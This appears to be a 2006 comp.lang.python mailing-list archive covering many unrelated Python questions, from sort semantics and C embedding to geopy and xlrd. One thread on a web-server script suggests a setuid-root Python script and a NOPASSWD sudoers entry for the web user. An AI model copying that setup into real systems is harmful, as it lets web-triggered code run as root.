Date: 3 Oct 2006 20:52:17 -0700 Subject: A Universe Set Message-ID: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Has the addition of a Universe Set object ever been suggested. Like U = set(0), so that any object was a member of U? Maybe this gets into some crazy Cantorian stuff since U is in U. But it seems like it would be useful and would have a nice symmetry with emptyset:set([]), that is: for any object a: "a in set([])" returns False "a in set(0)" returns True From raduciurlea at gmail.com Sat Oct 28 06:00:36 2006 From: raduciurlea at gmail.com (Radu Ciurlea) Date: 28 Oct 2006 03:00:36 -0700 Subject: Sending mouse events on Windows Message-ID: <1162029636.137310.103130@f16g2000cwb.googlegroups.com> Hello, I want to write a program that can generate mouse events. I'd like to actually be able to control the pointer and generate clicks. Any pointers on modules I could use for doing this? Any suggestions are welcome. tia Radu From hanumizzle at gmail.com Tue Oct 10 01:55:29 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 01:55:29 -0400 Subject: OT: Sarcasm and irony (was: Dive Into Java?) In-Reply-To: <87y7rp9iyi.fsf_-_@benfinney.id.au> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> Message-ID: <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> On 10/9/06, Ben Finney wrote: > Bjoern Schliessmann writes: > > > E. g. [in Java there is] no operator overloading, but "+" > > concatenation of strings. What if you'd like to implement your own > > string-derived class? Ah, never mind. Operator overloading is > > bad(tm) ;) <= Irony, definitely > > Definitely? That one strikes me more as sarcasm. It would seem very few people know the definition of either word. > (Yes, everything Alanis Morrissette complains of in her song "(Isn't > It) Ironic" is not at all ironic, but is merely unfortunate. There's a > possibility she was aware of this... True. In almost every wedding I have ever been to, it was pissing rain. -- Theerasak From f.braennstroem at gmx.de Sun Oct 8 16:08:41 2006 From: f.braennstroem at gmx.de (Fabian Braennstroem) Date: Sun, 8 Oct 2006 22:08:41 +0200 Subject: Scientific computing and data visualization. References: <1157574433.664189.217960@m73g2000cwd.googlegroups.com> <1157652641.877725.223880@h48g2000cwc.googlegroups.com> <45265EC2.1020100@gmx.de> <1160306410.245567.116620@m7g2000cwm.googlegroups.com> Message-ID: Hi Bernhard, * bernhard.voigt at gmail.com wrote: >> > I can definitively second that. ROOT is a bit hard to learn but very, >> > very powerful and PyRoot is really a pleasure to work with. >> >> It sounds interesting. Right now, I use matplotlib for >> 2D plotting and vtk for 3D. Do you have any experience and >> can give some recommendations? > > Hi Fabian! > > I recommend using matplotlib for data visualization, because the usage > of the plotting commands is much(!!!) more convenient. In ROOT you have > to create objects before you can draw your diagrams. The constructor > often requires arguments about the number of space points, axis length, > name etc. On the other hand, the figure itself has a GUI to manipulate > the plot, which sometimes is nicer than doing everything in the script. > In particular the 3D visualization seems to be more comprehensive (lots > of drawing options, rotation of the plot with the mouse, changing of > visualization lego, surf, contour plots etc.). > > ROOT has more than plotting. For example it has a whole bunch of > containers to store very large amounts of data (within complex > datastructures), fitting routines, minimizers etc. But you get that > with scipy and numpy. > > I'm using 80% of the time matplotlib because it's much quicker for > quick glances at your data. If I need sophisitcated 3D plots, I use > ROOT, but I would love to switch to matplotlib for this, as well. > > My guess is that using python and matplotlib with scipy speeds up my > work by at least 30% in comparison to using purely ROOT (and code in > C++). And even 10-15% in comparison to the usage of ROOT with pyRoot. Thanks for your advice! Greetings! Fabian From belred at gmail.com Thu Oct 19 18:22:29 2006 From: belred at gmail.com (Bryan) Date: Thu, 19 Oct 2006 15:22:29 -0700 Subject: callback crashing python In-Reply-To: References: Message-ID: Bryan wrote: > hi, > > i have a multithreaded c server that calls process_method in a different > c thread per each call. process_method calls a python function bar in > module foo. function bar calls back into c. i've removed all the type > error handling and simplified the code to hopefully show a minimum > amount of code. when only one request is hitting the server at a time > this works correctly even at fast speeds. but as soon as a second > request is made concurrently, the python24.dll will crash and > session.callback() in the python code never returns. i've tried > wrapping the callback code in PyGILState_Ensure(), PyEval_SaveThread() > without success. > > does anyone know what i have to do to the c callback to prevent python > from crashing? > > thanks, > > bryan > > > static void process_method(session *session) > { > PyObject *py_obj_session = NULL; > PyObject *py_mod_foo = NULL; > PyObject *py_call_bar = NULL; > PyThreadState *py_interp = NULL; > > py_interp = get_py_interpreter(session); > PyEval_AcquireLock(); > PyThreadState_Swap(py_interp); > py_obj_session = get_py_session(session); > > py_mod_foo = PyImport_ImportModule("foo"); > py_call_bar = PyObject_GetAttrString(py_mod_foo, "bar"); > PyObject_CallFunctionObjArgs(py_call_bar, py_obj_session, NULL); > > Py_XDECREF(py_call_bar); > Py_XDECREF(py_mod_foo); > Py_XDECREF(py_obj_session); > > PyThreadState_Swap(NULL); > PyEval_ReleaseLock(); > } > > > # module bar > > def bar(session): > session.callback() > > > > /* session.callback() /* > static PyObject* callback(PyObject *self, PyObject *args) > { > Py_INCREF(Py_None); > return Py_None; > } > update... it's still crashing even without the callback. function bar is now changed to something like this: def bar(session): return 1 i'm calling this c method process_method concurrently in two process where each process is sending requests at a rate of approximately 100 per second. each request is processed on the server side in it's own c thread. when the crash happens, it appears that the python code successfully completes. in other words, it never crashes in the middle of function bar. is PyEval_AquireLock, PyThreadState_Swap thread safe across c threads? thanks, bryan From uval at rz.uni-karlsruhe.de Wed Oct 25 13:12:23 2006 From: uval at rz.uni-karlsruhe.de (=?ISO-8859-1?Q?Sch=FCle_Daniel?=) Date: Wed, 25 Oct 2006 19:12:23 +0200 Subject: basic questions on cmp, < and sort Message-ID: Hello, first question In [117]: cmp("ABC",['A','B','C']) Out[117]: 1 against what part of the list is the string "ABC" compared? second question In [119]: class X(object): .....: pass .....: In [120]: X() < X() Out[120]: True In [121]: X() < X() Out[121]: False In [122]: X() < X() Out[122]: True In [123]: X() < X() Out[123]: True In [124]: X() < X() Out[124]: False class X does not implement < and cmp what is this comparision is based on? third question sort([[1,2,3],["ABC"],['Z','A'], X(), 4) how does python handle heterogenous items in the list in this case? first I assumed that cmp function used in sort is based on len, when the items are sequences, but this is wrong Regards, Daniel From marcobonifazi at gmail.com Wed Oct 25 12:32:06 2006 From: marcobonifazi at gmail.com (Marco Bonifazi) Date: 25 Oct 2006 09:32:06 -0700 Subject: Printing file with printer dialog Message-ID: <1161793926.188138.133050@m73g2000cwd.googlegroups.com> Hello! I have a file (in my situation it is a Postscript file or a Pdf file, but it isn't important). I must send this file to a printer, using Python, and I need to select the printer to which I want send this file. Then I would use a Dialog Window. I use PyGtk on Windows (but if I can open a dialog without PyGtk is also good), I would know all methods to do it. Thanks also if you don't answer! Marco Bonifazi http://www.bonifazi.eu From g.brandl-nospam at gmx.net Wed Oct 4 06:55:16 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Wed, 04 Oct 2006 12:55:16 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: Antoon Pardon wrote: > On 2006-10-04, Paul Rubin wrote: >> Antoon Pardon writes: >>> Now in this case you could start by assigning arg the value 1 and >>> eliminate the if test. However that only works if you know the >>> default value for the argument. What he seems to be asking for >>> is if there is an object, (let as call it Default), that would >>> make code like: >>> >>> def f(var=1): >>> >>> Equivallent to: >>> >>> def f(var=Default) >>> if var is Default) >>> var = 1 >> >> Oh, I see. Yes, the OP should just use a distinct default value >> instead of 1. I usually do this with >> >> sentinel = object() >> >> def f(var=sentinel): >> if var is sentinel: >> # f was called without an arg > > But that can only work if you are the author of f. Take the > following code: > > def myrepeat(obj, times = xxx): > return itertools.repeat(obj, times) > > What value do I have to substitue for xxx, so that myrepeat > will have the exact same function as itertools.repeat? There's no possible value. You'll have to write this like def myrepeat(obj, times=None): if times is None: return itertools.repeat(obj) else: return itertools.repeat(obj, times) Many functions implemented in C have this behavior. For all functions written in Python, you can look up the default value in the source. Georg From exogen at gmail.com Sun Oct 8 20:12:37 2006 From: exogen at gmail.com (Brian Beck) Date: Sun, 08 Oct 2006 20:12:37 -0400 Subject: ANN: geopy 0.93 - Geocoding Toolbox for Python Message-ID: Hi everyone, geopy 0.93 was released tonight. What is geopy? ============== geopy is a geocoding toolbox for Python. It includes support for many popular geocoders including Google Maps, Yahoo! Maps, Virtual Earth, geocoder.us, GeoNames, MediaWiki (with the GIS extension), and Semantic MediaWiki. It also includes a module for calculating geodesic distances using different models (spherical and ellipsoidal). Where can I get it? =================== setuptools: sudo easy_install geopy Cheese Shop: http://cheeseshop.python.org/pypi/geopy svn: svn co http://geopy.googlecode.com/svn/tags/release-0.93 geopy-0.93 Documentation: http://exogen.case.edu/projects/geopy What's new in this version? =========================== geopy.geocoders now includes GeoNames (www.geonames.org). geopy.distance module was added: calculate geodesic distances. geopy.util module was added: geocoders.Geocoder.parse_geo was moved there. geopy.geocoders.Google can now be used with different domains (such as 'maps.google.co.uk') and different resources ('maps' for the standard Google Maps interface, 'maps/geo' for the HTTP geocoder interface). How about an example? ===================== py> from geopy import geocoders py> us = geocoders.GeocoderDotUS() py> place, (lat, lng) = us.geocode("1600 Pennsylvania Ave, Washington DC") py> print "%s: %.5f, %.5f" % (place, lat, lng) 1600 Pennsylvania Ave NW, Washington, DC 20502: 38.89875, -77.03768 py> from geopy import distance py> _, a = us.geocode('10900 Euclid Ave, Cleveland, OH 44106') py> _, b = us.geocode('1600 Pennsylvania Ave, Washington, DC') py> distance.distance(a, b).miles 301.35526872700962 py> from geopy import util py> util.parse_geo(u"23? 26m 22s N 23? 27m 30s E") (23.439444444444444, 23.458333333333332) -- Brian Beck Adventurer of the First Order From scott.daniels at acm.org Mon Oct 2 13:33:03 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Mon, 02 Oct 2006 10:33:03 -0700 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: References: <452125F8.8070106@googlemail.com> Message-ID: <4521456d$1@nntp0.pdx.net> Steve Holden wrote: > Hari Sekhon wrote: >> I'm running a command like >> >> import commands >> result = commands.getstatusoutput('somecommand') >> print result[0] >> 3072 ... > No, it's just returning the error code in the top half of a sixteen-bit > value. You will notice that 3072 == 2 * 256. For the rest of us playing along at home, there is a typo there: The preceding line should read: > value. You will notice that 3072 == 12 * 256. --Scott David Daniels scott.daniels at acm.org From rschroev_nospam_ml at fastmail.fm Tue Oct 10 05:28:15 2006 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Tue, 10 Oct 2006 09:28:15 GMT Subject: People's names (was Re: sqlite3 error) In-Reply-To: References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: Hendrik van Rooyen schreef: > "Lawrence D'Oliveiro" wrote: > > >> In message , Hendrik van >> Rooyen wrote: >> >>> "Lawrence D'Oliveiro" wrote: >>> >>> 8<-------------------------------------------------------- >>> >>>> I wonder if we need another "middle" field for holding the "bin/binte" >>>> part (could also hold, e.g. "Van" for those names that use this). >>> NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a >>> space in it - and its peculiar in that the first letter is not >>> capitalised.... >>> >>> And I am sure that the people called "von Kardorff" would not agree >>> either... >> So do the Dutch phone books have a lot of entries under V, then? >> >> It just seems less efficient to me, that's all. > > Don't know about what happens in Holland - my ancestors came over here to South > Africa a long time ago - > a mixed up kid I am - Dutch and French from the time of the revocation of the > edict of Nantes... > And yes, here the phone books are sorted that way - the "van Rensburg"s precede > the "van Rooyen"s. And what is worse, there are a lot of "van der"s too - two > spaces in the string like "van der Merwe" who are preceded by "van der Bank" - > "van" basically means "from" - like the German "von" - but in Germany its an > appellation applied to the nobility - and in my name it makes no sense as > "Rooyen" is not a place - its a strange archaic derivative of the colour red - > "rooij' in Dutch, spelt "rooi" in Afrikaans - and the "der" is an archaic form > of "the" - (and modern "the" in German, if yer male) ... It's the same here in Belgium. Except that our Van is with a capital V in most cases; if it's a lower v it either indicates nobility or a Dutch name. I don't see it as a problem. I prefer having Van Straeten and Van Stralen next to each other than having them mixed up with names without Van like this: Straeten, Van Straetmans Stralen, Van For me the string as a whole is the name; the parts separated don't have much meaning. -- If I have been able to see further, it was only because I stood on the shoulders of giants. -- Isaac Newton Roel Schroeven From horpner at yahoo.com Wed Oct 25 20:03:23 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 26 Oct 2006 00:03:23 GMT Subject: What's the best IDE? References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> Message-ID: On 2006-10-25, Bruno Desthuilliers wrote: > Hakusa at gmail.com a ?crit : >> Recently I've had some problems with PythonWin when I switched to >> Py2.5, tooka long hiatus, and came back. So now I'm without my god sent >> helper, and I'm looking for a cool replacement, or some advocation to >> reinstall/setup PyWin. But the Python website's list is irrefutably >> long. It would take a month or two to test all of those products. So >> I'm looking for experienced advocates. > > >> What's your favorite IDE? > emacs > >> What do you like about it? > 1. It's so complicated and ugly that just using it is enough to makes > you look like a seasonned pro. > 2. It gives me a reason to engage in holy wars with vim users. It seems like the holy wars are pretty. We disciples of Vim and Emacs are now content merely being holier than all he others. Actually, I'm not sure there's been a good Emacs VS Vim holy war in years. So... ya know what's I find to be shamefully hatefully orthodox? Believing in the 'meta' key, when it's clearly just Alt. Those same people often hold to the heresy that 'to fill' means 'to wrap'. They believe that modes exist for different 'languages', and moreover, that there's more than just the trinity of INSERT, EDIT and COMMAND-LINE. -- Neil Cerutti From gagsl-py at yahoo.com.ar Wed Oct 11 16:39:49 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 11 Oct 2006 17:39:49 -0300 Subject: nntplib tutorial In-Reply-To: References: Message-ID: <7.0.1.0.0.20061011173355.041278b0@yahoo.com.ar> At Wednesday 11/10/2006 14:46, hg wrote: >Is there such a thing ? > >Trying to understand the various strings I get hereunder A basic understanding of the protocol would help a lot. The RFC 977 itself is not so hard to read, but you could find some tutorials using google. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From half.italian at gmail.com Thu Oct 19 16:27:24 2006 From: half.italian at gmail.com (half.italian at gmail.com) Date: 19 Oct 2006 13:27:24 -0700 Subject: pexpect with apache In-Reply-To: <1161209978.061600.313110@e3g2000cwe.googlegroups.com> References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> <1161202610.865795.63830@f16g2000cwb.googlegroups.com> <1gxZg.3425$ya1.2766@news02.roc.ny> <1161209800.433795.303600@e3g2000cwe.googlegroups.com> <1161209978.061600.313110@e3g2000cwe.googlegroups.com> Message-ID: <1161289644.428298.48800@m73g2000cwd.googlegroups.com> Thank you both for your help. I don't know why I didn't think of that before. I had the expect mindset, and was determined to get it working that way. I added an entry for sudo for the script and it works without a hitch. I'm still curious to know what was going on to disallow the authentication in pexpect. I had added 'www' to user 'admin', and could su to root from the command line, so I don't think that was it. Maybe it was a timing error, ie pexpect fired off the password too soon or too late, or something in the apache environment that just disallowed becoming root for security reasons. Problem solved. ~Sean martdi wrote: > Since it wont require pyexpect, and based on the operations you > accomplish with your python script, maybe that a bash script instead of > a python one might be the best tool for the job you're trying to > accomplish. > > > martdi wrote: > > Sudo is probably the best solution here, since in the file sudo.conf > > you could restrict the www user only to the python script that requires > > it. > > > > Also, using either sudo or the setuid flag would remove the need of > > pexpect since all the commands will be run as the designated user. > > > > for setuid flag: > > chmod u+s pythonScript.py > > chown root pythonScript.py > > > > for the sudo solution, add an entry to /etc/sudo.conf or /etc/sudoers , > > depending on distro: > > the syntax for a line in sudo.conf is: > > user hostlist = (userlist) commandlist > > > > so you might want to add: > > www localhost = NOPASSWD: /var/www/htdocs/pythonScript.py > > > > note: > > Replace the /var/www/htdocs/pythonScript.py with the path to where > > your script is > > the NOPASSWD: is a flag that tells sudo that no password is > > required > > > > Lee Harr wrote: > > > > Well, first i don't think it is a good idea to have the python script > > > > tu su to root, but for it to work, i think (Totally unsure about that) > > > > www has to be in group wheel to be able to su. > > > > > > > > > Maybe sudo can help here. From ptmcg at austin.rr._bogus_.com Tue Oct 31 04:22:40 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Tue, 31 Oct 2006 09:22:40 GMT Subject: 3d programming without opengl References: Message-ID: "Paul McGuire" wrote in message news:iHD1h.25601$GR2.12249 at tornado.texas.rr.com... > "nelson -" wrote in message > news:mailman.1526.1162280594.11739.python-list at python.org... >> hi! >> i want to build up a simple 3d interactive geometry application in >> python. Since i want to run it without 3D acceleration (a scene will >> be quite simple) I was wondering if there was a library in python that >> allow me to build 3D graphic without the need to use OpenGL.... I >> google but i can't find nothing interesting... (the best would be a >> pure python solution) >> >> Thanks, >> nelson > > Here's a page (http://www.vrplumber.com/py3d.py) with links to 73 possible > libraries. > > I've played with Slut (http://slut.sourceforge.net/) and it is quite easy > to work with. Here's a Flash movie (recorded using Wink) of a sphere that > I programmed and rotated about: > http://www.geocities.com/ptmcg/python/sphere1.htm, and here is the program > that created it: http://www.geocities.com/ptmcg/python/vecSlut2.py.txt. > > The demos that come with Slut are quite impressive, too. The Slut project > web page summarizes them here > (http://slut.sourceforge.net/examples/index.html), but the little videos > don't do them justice. > > -- Paul > > Well, shoot, I killed my free bandwidth on GeoCities with that link to the Flash animation! I've uploaded a smaller video, should support 20-25 views/hour, instead of 3 like the old one. Please bear with me. Thanks, -- Paul From nick at craig-wood.com Mon Oct 16 04:30:11 2006 From: nick at craig-wood.com (Nick Craig-Wood) Date: Mon, 16 Oct 2006 03:30:11 -0500 Subject: wx.grid question (trying to use code from Grid_Example.py) References: <1160973960.113552.200490@i3g2000cwc.googlegroups.com> Message-ID: Eric_Dexter at msn.com wrote: > I am having trouble trying to reuse the code that was provided in the > wxdemo package of wxpython. I suggest you ask this question on the wxpython mailing list which has lots of very well informed contributors (not me - I'm just learning!). http://www.wxpython.org/maillist.php -- Nick Craig-Wood -- http://www.craig-wood.com/nick From mail at microcorp.co.za Thu Oct 26 02:33:06 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Thu, 26 Oct 2006 08:33:06 +0200 Subject: basic questions on cmp, < and sort References: <87lkn3kd8l.fsf@benfinney.id.au> Message-ID: <028701c6f8c9$5931f900$03000080@hendrik> "Ben Finney" wrote: To: Sent: Thursday, October 26, 2006 4:44 AM Subject: Re: basic questions on cmp, < and sort Sch?le Daniel writes: 8<------------------------------------------- > third question > > sort([[1,2,3],["ABC"],['Z','A'], X(), 4) >>> sort([[1,2,3],["ABC"],['Z','A'], X(), 4) File "", line 1 sort([[1,2,3],["ABC"],['Z','A'], X(), 4) ^ SyntaxError: invalid syntax needs a closing ']' to make the list a list..... - Hendrik From pavlovevidence at gmail.com Wed Oct 18 04:37:08 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 18 Oct 2006 01:37:08 -0700 Subject: creating many similar properties In-Reply-To: <1161159201.685954.82040@h48g2000cwc.googlegroups.com> References: <1161156619.762883.237630@e3g2000cwe.googlegroups.com> <1161159201.685954.82040@h48g2000cwc.googlegroups.com> Message-ID: <1161160627.968517.151410@h48g2000cwc.googlegroups.com> George Sakkis wrote: > There's a subtle common bug here: all _get and _set closures will refer > to the last property only. You have to remember to write "def > _set(self,v,prop=prop)" and similarly for _get to do the right thing. Sorry. My mistake. > By the way, I can't think of a case where the current behavior (i.e. > binding the last value only) is the desired one. Is this just an > implementation wart or am I missing something ? def some_function(a): def printvars(): print "DEBUG: %r,%r,%r" % (a,b,i) for i in some_range(): b = something(i) printvars() If you fix the value of the closure at function definition time, printvars() above doesn't work. One way or another, someone's going to get surprised. Better to let it be the experts. Carl From hanumizzle at gmail.com Wed Oct 11 02:09:57 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 02:09:57 -0400 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <87irir75l9.fsf@benfinney.id.au> References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> <87irir75l9.fsf@benfinney.id.au> Message-ID: <463ff4860610102309k339712acy595b18067cba8f4c@mail.gmail.com> On 10/11/06, Ben Finney wrote: > "Theerasak Photha" writes: > Far better is to take the objects passed, *use* them in the way that > you need to use them, and catch exceptions that get raised at the > point where there is enough context to handle them. This is the > "Easier to Ask Forgiveness than Permission" (EAFP) principle, and it > is considered to be far more Pythonic. Again, someone asked me to write the code for him in a personal response to a previous thread. I simply executed his wishes (albeit poorly). I knew about EAFP before Python; in Ruby we have 'duck typing' and there's a whole chapter about its virtues in Pick Axe. Myself I am a strong proponent of this method, also known in OO Perl lingo, which I know well, as interface polymorphism (Conway). The main reason I *didn't* grok isinstance was b/c I never really thought to use it before... :) -- Theerasak From fredrik at pythonware.com Mon Oct 30 12:52:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 18:52:40 +0100 Subject: create global variables? In-Reply-To: References: Message-ID: Wojciech Mu?a wrote: >> is there a simple way of creating global variables within a function? > > def foo(name): > globals()[name] = "xxx" > globals()[name + 'aa'] = "yyy" > globals()[name + 'ab'] = "zzz" that kind of coding is punishable by law in some jurisdictions. From nitte.sudhir at gmail.com Thu Oct 5 10:11:14 2006 From: nitte.sudhir at gmail.com (kath) Date: 5 Oct 2006 07:11:14 -0700 Subject: How do I read Excel file in Python? Message-ID: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> How do I read an Excel file in Python? I have found a package to read excel file, which can be used on any platform. http://www.lexicon.net/sjmachin/xlrd.htm I installed and working on the examples, I found its printing of cell's contents in a different manner. >>> import xlrd >>> book=xlrd.open_workbook("Calculation_file.xls") >>> book=xlrd.open_workbook("testbook.xls") >>> sh=book.sheet_by_index(0) >>> for row in range(sh.nrows): print sh.row(rx) [text:u'name', text:u'address', text:u'ph'] [text:u'sudhir', text:u'bangalore', number:1234.0] [text:u'vinay', text:u'bangalore', number:3264.0] I am bit confused with slicing. help me.... Thank you, Regards, Sudhir. From fredrik at pythonware.com Thu Oct 26 08:17:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 14:17:21 +0200 Subject: subprocess-how to suppress the stdout References: Message-ID: "alf" wrote: > I can achieve it by using Popen(...,stdout=subprocess.PIPE,...) but > wonder where the all stdout actually goes. Is it buffered (to eventually > fill up) it ends up in a pipe buffer, yes. > Or there is a better solution ... /dev/null is your friend: Popen(..., stdout=open("/dev/null", "w"), stderr=subprocess.STDOUT, ...) From peter.maas at somewhere.com Wed Oct 11 15:56:20 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Wed, 11 Oct 2006 21:56:20 +0200 Subject: Python component model In-Reply-To: <452caf79$0$24783$426a74cc@news.free.fr> References: <452b7aae$0$306$426a74cc@news.free.fr> <452caf79$0$24783$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Peter Maas wrote: [...] >> a reference implementation for web programming as part of the standard >> library, > > wsgiref is part of the 2.5 stdlib. Yes, but it's not an implementation. Think of something like Tomcat for the Java Servlet Specification. -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From bj_666 at gmx.net Mon Oct 30 14:32:25 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Mon, 30 Oct 2006 20:32:25 +0100 Subject: scared about refrences... References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> Message-ID: In <1162236136.367603.165180 at b28g2000cwb.googlegroups.com>, SpreadTooThin wrote: > I'm really worried that python may is doing some things I wasn't > expecting... but lets see... Expect that Python never copies something if don't ask explicitly for a copy. > if I pass a list to a function def fn(myList): > > and in that function I modify an element in the list, then does the > callers list get modied as well. > > def fn(list): > list[1] = 0 > > myList = [1, 2, 3] > print myList > fn(myList) > print myList > >>>> [1,2,3] >>>> [1,0,3] > > How can I avoid this? In this case this is a really simplified example > but the effects are the same... In this case: def fn(lst): lst = list(lst) lst[1] = 0 > How do I specify or create deep copies of objects that may contain > other objects that may contain other object that may contain other > objects.... See the `copy` module especially `copy.deepcopy()`. Ciao, Marc 'BlackJack' Rintsch From hanumizzle at gmail.com Wed Oct 11 05:17:47 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 05:17:47 -0400 Subject: dynamic creation of global Identifier In-Reply-To: References: Message-ID: <463ff4860610110217j737629b0me3aaa54f820e9a8d@mail.gmail.com> On 10/11/06, Alexander Eisenhuth wrote: > but why doesent exec "global ... create a identifier in the global namespace. I haven't had much use for exec, but it operates in its own, more or less cloistered namespace. It can't set globals among other things. You can frob the globals like so import __builtin__ __builtin__.__dict__['foo'] = 42 But by the time you get there, it is almost certainly time to refactor. -- Theerasak From fredrik at pythonware.com Mon Oct 23 17:02:32 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 23:02:32 +0200 Subject: python class instantiation In-Reply-To: <453D2C61.7000800@useReplyTo.hotmail.com> References: <453D2C61.7000800@useReplyTo.hotmail.com> Message-ID: ?ric Daigneault lists wrote: > When creating a class with data members but no __init__ method. Python > deals differently with data members that are muatable and immutables. no, it doesn't. it's your code that deals with them in different ways, not Python. > Ex: > class A(object): > stringData = "Whatever" > listData = [] > > instance = A() > > Will have data members instantiated as expected (instance.stringData == > "Whatever" and instance.listData == []) > > instance.listData.append("SomeString") here, you call a method on the class object. this method modifies the object. > instance.stringData = "Changed" here, you use assignment to *add* a new attribute to the instance. the class attribute is still there, but it's shadowed by an instance attribute with the same name. From sybrenUSE at YOURthirdtower.com.imagination Sun Oct 8 15:57:33 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sun, 8 Oct 2006 21:57:33 +0200 Subject: WSGI - How Does It Affect Me? References: Message-ID: Gregory Pi?ero enlightened us with: > So I keep hearing more and more about this WSGI stuff, and honestly I > still don't understand what it is exactly AFAIK it's a standard for web frameworks. In such a framework, you receive a 'request' object, and return a 'response' object. If I'm correct, the WSGI describes things like the method and property names on those objects etc. > What I'm most confused about is how it affects me. I've been writing > small CGI programs in Python for a while now whenever I have a need > for a web program. Is CGI now considered "Bad"? I've never considered CGI bad, but I do consider it to be a hassle to make anything non-trivial. If you want a website with template engine, web-based database admin, and automatic form generation and validation, it's easier to use an existing web framework. > What is the equivalent of a quick CGI script in WSGI, or do I have > to use a framework even for that? I'd simply use CGI for that. > What do I do if frameworks don't meet my needs and I don't have a > desire to program my own? That depends on the needs I guess. > Examples of how frameworks don't meet my needs sometimes: > 1. Working with SQL Server (Most frameworks seem to at least make it > extra work) I've never seen a framework that's unable to work with an SQL server. > 2. Need web app to get data from other programs via API (eg > QuickBooks) Can any web framework work happily with win32 > extensions? You can use any module you want in a Django view, including win32. > 3. Using IIS at all for that matter, does WSGI work on IIS, do any > frameworks? Why would you want to use that monstrosity? Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From odalrick at hotmail.com Thu Oct 19 11:10:23 2006 From: odalrick at hotmail.com (Odalrick) Date: 19 Oct 2006 08:10:23 -0700 Subject: wxPython and PIL Message-ID: <1161270623.627758.71040@e3g2000cwe.googlegroups.com> I'm making a simple program to crop and scale images, essentially make thumbnails from a user defined subset of the image. I'm planning to use Python Image Library to crop and resize the images, mostly to make the resized smaller images look good. How do I display a PIL image with wxPython? From bdesth.quelquechose at free.quelquepart.fr Wed Oct 25 17:58:16 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 23:58:16 +0200 Subject: cleaner way to write this? In-Reply-To: <%dO%g.151$1n3.4135@news.tufts.edu> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> Message-ID: <453fd983$0$12298$426a74cc@news.free.fr> John Salerno a ?crit : > Paul Rubin wrote: > >> John Salerno writes: >> >>> I just need some advice for how to structure >>> the check of the empty string. >> >> >> How about >> >> return db_name or None >> >> since the empty string taken as a boolean is False. > > > But if the user doesn't enter any text, I don't want the method to > return at all (even None). John, please re-read the FineManual(tm). None is the default return value of a function - even if there's no return statement. >>> def noop(): ... pass ... >>> assert noop() is None >>> From steve at REMOVE.THIS.cybersource.com.au Wed Oct 18 12:07:08 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Thu, 19 Oct 2006 02:07:08 +1000 Subject: Dictionaries References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> Message-ID: On Wed, 18 Oct 2006 08:24:27 -0700, Lad wrote: > How can I add two dictionaries into one? > E.g. > a={'a:1} > b={'b':2} > > I need > > the result {'a':1,'b':2}. > > Is it possible? What should the result be if both dictionaries have the same key? a={'a':1, 'b'=2} b={'b':3} should the result be: {'a':1, 'b'=2} # keep the existing value {'a':1, 'b'=3} # replace the existing value {'a':1, 'b'=[2, 3]} # keep both values or something else? Other people have already suggested using the update() method. If you want more control, you can do something like this: def add_dict(A, B): """Add dictionaries A and B and return a new dictionary.""" C = A.copy() # start with a copy of A for key, value in B.items(): if C.has_key(key): raise ValueError("duplicate key '%s' detected!" % key) C[key] = value return C -- Steven. From nitte.sudhir at gmail.com Wed Oct 11 12:18:41 2006 From: nitte.sudhir at gmail.com (kath) Date: 11 Oct 2006 09:18:41 -0700 Subject: what is this UnicodeDecodeError:....? References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com> <1160514673.393711.72590@m7g2000cwm.googlegroups.com> Message-ID: 